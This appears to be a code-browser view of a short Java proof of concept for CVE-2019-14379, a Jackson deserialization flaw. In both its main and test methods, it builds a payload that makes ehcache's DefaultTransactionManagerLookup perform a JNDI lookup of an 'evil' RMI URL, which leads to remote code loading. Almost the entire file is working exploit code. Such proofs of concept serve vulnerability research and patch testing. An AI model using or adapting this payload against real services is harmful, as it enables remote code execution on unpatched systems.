DefaultTransactionManagerLookup.setProperties() DefaultTransactionManagerLookup.defaultJndiSelector.setJndiName() DefaultTransactionManagerLookup.getTransactionManager() DefaultTransactionManagerLookup.lookupTransactionManager() Selector.getTransactionManager() Selector.d
| 18 | */ |
| 19 | |
| 20 | public class CVE_2019_14379 { |
| 21 | //jndi |
| 22 | public static void main(String[] args) throws IOException { |
| 23 | String json = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":{\"jndiName\":\"rmi://127.0.0.1:1088/evil\"}]"; |
| 24 | ObjectMapper mapper = new ObjectMapper(); |
| 25 | mapper.enableDefaultTyping(); |
| 26 | Object o = mapper.readValue(json, Object.class); |
| 27 | mapper.writeValueAsString(o);//调用get方法 |
| 28 | } |
| 29 | |
| 30 | public static void test(){ |
| 31 | DefaultTransactionManagerLookup defaultTransactionManagerLookup = new DefaultTransactionManagerLookup(); |
| 32 | Properties properties = new Properties(); |
| 33 | properties.setProperty("jndiName","rmi://127.0.0.1:1099/evil"); |
| 34 | defaultTransactionManagerLookup.setProperties(properties); |
| 35 | //defaultTransactionManagerLookup.getTransactionManager(); |
| 36 | } |
| 37 | } |
nothing calls this directly
no outgoing calls
no test coverage detected